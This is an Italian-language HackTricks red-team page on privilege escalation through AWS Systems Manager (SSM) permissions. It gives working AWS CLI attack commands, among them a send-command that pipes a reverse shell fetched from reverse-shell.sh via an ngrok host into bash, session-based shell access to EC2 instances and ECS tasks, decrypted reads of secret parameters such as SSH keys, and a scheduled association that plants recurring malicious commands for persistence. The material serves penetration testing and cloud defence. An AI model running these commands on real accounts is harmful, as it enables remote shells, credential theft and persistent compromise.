AWS - SSM Privesc

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

SSM

Per maggiori informazioni su SSM consulta:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un attacker con il permesso ssm:SendCommand può eseguire comandi nelle istanze che eseguono l Amazon SSM Agent e compromettere il IAM Role in esecuzione al loro interno.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Nel caso tu stia usando questa tecnica per escalate privileges all'interno di un'istanza EC2 già compromessa, puoi semplicemente catturare il rev shell localmente con:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impatto potenziale: Privesc diretto agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents in esecuzione.

ssm:StartSession

Un attacker con il permesso ssm:StartSession può avviare una sessione simile a SSH nelle istanze che eseguono l'Amazon SSM Agent e compromettere il IAM Role in esecuzione al loro interno.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Per avviare una sessione hai bisogno del SessionManagerPlugin installato: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potenziale impatto: Direct privesc ai ruoli IAM di EC2 associati alle istanze in esecuzione con SSM Agents attivi.

Privesc su ECS

Quando ECS tasks vengono eseguiti con ExecuteCommand enabled gli utenti con permessi sufficienti possono usare ecs execute-command per eseguire un comando all'interno del container.
Secondo the documentation questo avviene creando un canale sicuro tra il dispositivo che usi per avviare il comando “exec“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)
Pertanto, gli utenti con ssm:StartSession potranno get a shell inside ECS tasks con quell'opzione abilitata semplicemente eseguendo:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impatto potenziale: Privesc diretto ai ruoli ECSIAM allegati ai task in esecuzione con ExecuteCommand abilitato.

ssm:ResumeSession

Un attacker con il permesso ssm:ResumeSession può ri-avviare una sessione simile a SSH su istanze che eseguono l'Amazon SSM Agent con uno stato di sessione SSM disconnesso e compromettere il IAM Role in esecuzione al suo interno.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impatto potenziale: Escalation di privilegi diretta agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents attivi e sessioni disconnesse.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un attacker con i permessi menzionati sarà in grado di elencare i SSM parameters e read them in clear-text. In questi parametri si possono frequentemente trovare informazioni sensibili come SSH keys o API keys.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impatto potenziale: Individuare informazioni sensibili all'interno dei parametri.

ssm:ListCommands

Un attaccante con questa autorizzazione può elencare tutti i comandi inviati e, auspicabilmente, trovare informazioni sensibili in essi.

aws ssm list-commands

Impatto potenziale: Trovare informazioni sensibili all'interno delle righe di comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un attaccante con queste autorizzazioni può elencare tutte le commands inviate e leggere l'output generato, sperando di trovare informazioni sensibili al suo interno.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impatto potenziale: Trovare informazioni sensibili nell'output delle linee di comando.

Uso di ssm:CreateAssociation

Un attacker con il permesso ssm:CreateAssociation può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per backdoor-like persistence senza interactive sessions.

bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

note

Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. Importante: il parametro --schedule-expression (es., rate(30 minutes)) deve rispettare l'intervallo minimo di 30 minuti imposto da AWS. Per esecuzione immediata o una tantum, omettere completamente --schedule-expression — l'associazione verrà eseguita una volta dopo la creazione.

Codebuild

Puoi anche usare SSM per ottenere accesso a un progetto codebuild in fase di build:

AWS - Codebuild Privesc

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks